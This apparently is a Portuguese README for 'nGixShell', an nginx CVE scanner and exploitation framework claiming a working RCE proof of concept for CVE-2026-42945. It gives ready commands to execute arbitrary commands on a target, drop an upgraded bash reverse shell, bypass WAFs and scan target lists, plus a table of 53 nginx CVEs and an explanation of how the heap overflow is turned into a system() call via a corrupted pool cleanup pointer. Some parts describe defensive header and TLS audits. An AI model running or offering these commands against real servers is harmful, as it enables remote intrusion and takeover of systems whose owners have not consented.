nGixShell é um scanner de CVEs do nginx e um framework de exploração RCE. Ele inclui uma prova de conceito funcional para CVE-2026-42945 — um estouro de buffer crítico no heap em ngx_http_rewrite_module — e um scanner que abrange 53 CVEs do nginx com sondas HTTP automatizadas, fingerprinting, detecção/contorno de WAF, auditoria de segurança web e geração de relatórios.
Zero dependências externas. Apenas a stdlib do Python 3.
Início Rápido
root@kitploit:~
# Spin up the vulnerable lab
docker compose -f env/docker-compose.yml up -d
# Auto mode — fingerprint + CVE scan + web audit
python3 ngixshell.py 127.0.0.1:19321
# Execute a command via RCE (CVE-2026-42945)
python3 ngixshell.py 127.0.0.1:19321 --cmd 'id'
# Drop a reverse shell (IP auto-detected)
python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell
# Detect and bypass WAF, then scan
python3 ngixshell.py 127.0.0.1:19321 --waf-bypass
# Subdomain scan
python3 ngixshell.py --subdomain-scan example.com --scan-port 443
# Multiple targets from a file
python3 ngixshell.py --target-file hosts.txt --json --html-report results.html
Nenhuma flag necessária — apontar a ferramenta para um alvo executa tudo automaticamente.
TLS é detectado automaticamente. O nginx é identificado mesmo com server_tokens off.
Executada automaticamente no modo de scan. Todos os módulos podem ser ignorados individualmente.
Flag
Descrição
--skip-headers
Pular auditoria de cabeçalhos de segurança HTTP
--skip-paths
Pular descoberta de caminhos/arquivos
--skip-vhosts
Pular enumeração de virtual hosts
--skip-tls
Pular auditoria de protocolo TLS
--path-wordlist ARQUIVO
Caminhos extras para sondar (um por linha)
Auditoria de cabeçalhos — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy, cabeçalhos que vazam versão
Descoberta de caminhos — 50+ caminhos; sonda sentinela elimina falsos positivos de regras catch-all 403/301
Enumeração de virtual hosts — requer diferença de status E corpo para evitar falsos positivos de bloqueio padrão
Auditoria TLS — testa suporte TLS 1.0–1.3, expiração de certificado e detecção de autoassinados
stub_status — analisa métricas de conexão ativa de /nginx_status se exposto
Conexão
Flag
Descrição
--port PORTA
Sobrescrever porta
--tls
Forçar TLS (detectado automaticamente por padrão)
--proxy URL
Proxy: http://, https://, socks5://
HTTP
Flag
Descrição
--user-agent UA
User-Agent personalizado
--auth USUÁRIO:SENHA
Autenticação básica HTTP
--cookie VALOR
Cabeçalho Cookie
--header NOME:VALOR
Cabeçalho extra (repetível)
Taxa / Temporização
Flag
Descrição
--rate-limit RPS
Máximo de requisições por segundo
--jitter MS
Atraso aleatório de 0–MS ms entre requisições
--retry N
Repetir sondas inconclusivas (padrão: 1)
--timeout-multiplier X
Escalar todos os timeouts (padrão: 1.0)
Saída
Flag
Descrição
--output ARQUIVO
Escrever log no ARQUIVO
--json
Exibir resumo em JSON ao final
--html-report [ARQUIVO]
Gerar relatório HTML (padrão: ngixshell_<host>_<ts>.html)
--verbose
Saída de depuração
Cobertura de CVE
53 entradas abrangendo 2009–2026. Ordenadas por CVSS.
CVE
CVSS
Componente
Descrição
CVE-2026-42945
9.8 CRÍTICO
rewrite
Estouro de heap → RCE (explorado)
CVE-2026-42946
8.1 ALTO
rewrite
Corrupção de memória (mesmo advisory)
CVE-2022-41741
7.8 ALTO
mp4
Corrupção de memória via mp4 malicioso
CVE-2016-1247
7.8 ALTO
packaging
Escalação de privilégio via link simbólico em arquivo de log
CVE-2021-23017
7.7 ALTO
resolver
Sobrescrita de heap off-by-one
CVE-2026-40701
7.5 ALTO
request
Corrupção de memória no processamento de requisições
CVE-2026-42934
7.5 ALTO
request
Corrupção de memória (mesmo advisory)
CVE-2026-27784
7.5 ALTO
mp4
Estouro de buffer via mp4 manipulado
CVE-2026-32647
7.5 ALTO
mp4
Estouro de buffer (irmão do acima)
CVE-2024-24990
7.5 ALTO
HTTP/3
Use-after-free no módulo QUIC
CVE-2024-24989
7.5 ALTO
HTTP/3
Desreferência de ponteiro nulo no QUIC
CVE-2024-31079
7.5 ALTO
HTTP/3
Estouro de pilha no codificador QUIC
CVE-2024-32760
7.5 ALTO
HTTP/3
Sobrescrita de buffer via frame HEADERS
CVE-2022-41742
7.5 ALTO
mp4
Divulgação de memória heap
CVE-2017-7529
7.5 ALTO
range filter
Estouro de inteiro → leitura fora dos limites
CVE-2016-0746
7.5 ALTO
resolver
Use-after-free via resposta DNS manipulada
CVE-2014-0133
7.5 ALTO
SPDY
Estouro de heap na implementação SPDY
CVE-2014-0088
7.5 ALTO
SPDY
Corrupção de memória no SPDY
CVE-2013-4547
7.5 ALTO
core
Bypass de URI com Space+NUL
CVE-2013-2028
7.5 ALTO
core
O Bug (CVE-2026-42945)
O motor de script de rewrite do nginx usa um modelo de duas passagens: calcular o tamanho do buffer, depois copiar. A flag is_args é definida no motor principal quando uma substituição de rewrite contém ?, mas a passagem de cálculo de comprimento executa em um sub-motor recém-zerado:
Passagem de comprimento — vê is_args = 0 → retorna o comprimento bruto da captura
Passagem de cópia — vê is_args = 1 → chama ngx_escape_uri(NGX_ESCAPE_ARGS), expandindo cada byte inseguro para 3 bytes
A cópia estoura o buffer de heap subdimensionado com dados de URI controlados pelo atacante. A exploração corrompe um ponteiro de limpeza ngx_pool_t adjacente via heap feng shui entre requisições, redirecionando-o para um ngx_pool_cleanup_s falso que chama system() na destruição do pool.